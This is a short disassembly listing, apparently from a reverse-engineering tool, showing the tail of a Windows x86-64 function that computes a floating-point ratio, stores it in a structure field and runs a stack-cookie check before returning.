cvtsi2sd xmm0, rax
jns 0x14001ca71
addsd xmm0, xmm2
mulsd xmm0, qword [0x140051318]
xorps xmm1, xmm1
cvtsi2sd xmm1, rcx
test rcx, rcx
jns 0x14001ca8a
addsd xmm1, xmm2
divsd xmm0, xmm1
mov al, 1
movsd qword [rdi + 0x38], xmm0
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.14004c1b0
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret